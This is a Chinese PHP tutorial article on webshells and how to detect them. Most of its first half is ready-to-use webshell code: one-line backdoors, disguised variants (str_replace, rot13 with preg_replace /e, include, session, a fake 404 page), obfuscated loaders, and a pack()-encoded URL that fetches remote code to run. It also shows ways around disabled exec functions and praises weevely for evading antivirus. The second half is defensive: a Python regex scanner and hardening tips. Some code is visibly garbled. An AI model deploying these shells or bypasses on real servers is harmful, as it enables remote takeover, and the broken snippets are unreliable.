• 技术文章 >后端开发 >php教程

    详解PHP安全之webshell和后门检测示例

    高洛峰高洛峰2017-03-19 13:18:17原创2401
    基于PHP的应用面临着各种各样的攻击:

    这里介绍上述加粗的几种攻击的方法

    一、各种webshell

    随着业务量的增大,越来越多的黑客来攻击扫描,网站安全性日益重要,一不留神就被黑客控制了服务器,最常见的方式就是通过POST请求来上传木马文件,从而达到可以执行任意命令,如果被控制就大事不妙了

    所以还是要正视服务器的安全

    最流行的一种后门叫做一句话木马,其形式如下所示:

    <?php
    if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST["cmd"]);
        system($cmd);
        echo "</pre>$cmd<pre>";
        die;
    }
    ?>

    这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的

    a、使用str_replace函数

    <?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
    //说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
    最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>

    b、使用str_rot13函数

    <?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?>
    //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

    c、使用include函数

    <?php $filename=$_GET['code'];include ($filename); ?>
    //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

    d、使用pack函数

    <?php if(empty($_SESSION['api']))
        $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
        @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
    ?>

    e、使用session

    <?php
    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

    f、隐藏在html页面

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    </body></html>
    <?php
    @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
    header('HTTP/1.1 404 Not Found');
    ?>

    g、使用assert函数

    <?php assert($_POST[sb]);?>

    或者

    <?php
    $item['wind'] = 'assert';
    $array[] = $item;
    $array[0]['wind']($_POST['iixosmse']);

    h、使用copy函数复制文件

    <?php
    $reg="c"."o"."p"."y";
    $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

    二、代码混淆

    <?php  
    @$_++; // $_ = 1  
    $=("#"^"|"); // $ = _  
    $.=("."^"~"); // _P  
    $.=("/"^"`"); // _PO  
    $.=("|"^"/"); // _POS  
    $.=("{"^"/"); // _POST  
    ${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]);  
    ?>

    或者

    <?php  
        $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
        $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
        $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
        $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
        $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
        $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
        $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
        $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
    ?>

    可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件

    PHP后门生成工具weevely

    weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

    weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

    更常用的混淆视听的方法:(这种是服务器层面的混淆)

    三、如果绕过配置文件

    一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?

    1、使用反射

    <?php
    $func = new ReflectionFunction("system");
    echo $func->invokeArgs(array("$_GET[c]"));
    ?>

    2、使用callback

    php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.

    <?php
    $cb= 'system';
    ob_start($cb);
    echo $_GET[c];
    ob_end_flush();
    ?>

    php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

    四、安全人员应该怎么做

    1、如何查找

    直观寻找方式也有很多

    下面是360 zhujiweishi ,在linux服务器上非常简单好用

    PHP安全之webshell和后门检测

    通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)

    通过简单的python脚本


    #!/usr/bin/env python
    # encoding: utf-8
     
    import os,sys
    import re
    import hashlib
    import time
     
    rulelist = [
        '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
        '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
        '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
        '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',
        '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
        '(\$(\w+)\s*\(\s.chr\(\d+\)\))',
        '(\$(\w+)\s*\$\{(.*)\})',
        '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
        '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
        '(\$\_\=(.*)\$\_)',
        '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
        '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',
        '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
        '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
        '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
        '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
        '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',
        '(eval\s*\(\s*\(\s*\$\$(\w+))',
        '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
        '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
        ]
     
    def scan(path):
        print('           可疑文件         ')
        print('*'*30)
        for root,dirs,files in os.walk(path):
            for filespath in files:
                if os.path.getsize(os.path.join(root,filespath))<1024000:
                    file= open(os.path.join(root,filespath))
                    filestr = file.read()
                    file.close()
                    for rule in rulelist:
                        result = re.compile(rule).findall(filestr)
                        if result:
                            print '文件:'+os.path.join(root,filespath )
                            print '恶意代码:'+str(result[0][0:200])
                            print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                            print '\n\n'
                            break
    def md5sum(md5_file):
        m = hashlib.md5()
        fp = open(md5_file)
        m.update(fp.read())
        return m.hexdigest()
        fp.close()
     
    if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':
        if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':
            pass
        else:
            print('*'*40)
            print "\033[31m sshd被修改,疑似留有后门\033[m"
            print('*'*40)
            time.sleep(5)
    if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':
        if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':
            pass
        else:
            print('*'*40)
            print "\033[31m sshd被修改,疑似留有后门\033[m"
            print('*'*40)
            time.sleep(5)
    if name=='main':
     
        if len(sys.argv)!=2:
            print '参数错误'
            print "\t按恶意代码查找:"+sys.argv[0]+'目录名'
        if os.path.lexists(sys.argv[1]) == False:
            print "目录不存在"
            exit()
        print ('\n\n开始查找:'+sys.argv[1])
        if len(sys.argv) ==2:
            scan(sys.argv[1])
        else:
            exit()

    2、如何防范

    php.ini 设置

    php编码方面

    服务器配置

    配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限

    nginx或者apache配置的时候,不能访问的目录一定要配置为deny

    以上就是详解PHP安全之webshell和后门检测示例的详细内容,更多请关注php中文网其它相关文章!

    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    专题推荐:PHP webshell
    上一篇:Phpstorm中使用SFTP的步骤详解 下一篇:自己动手写 PHP MVC 框架(40节精讲/巨细/新人进阶必看)

    相关文章推荐

    • 浅析PHP中的类自动加载相关文件• 系统讲解PHP缓存技术• 一文理解和实现现代PHP框架里的IOC容器• 深入了解PHP:用gdb调试源码• 实例介绍:使用Docker快速搭建多版本PHP开发环境
    1/1

    PHP中文网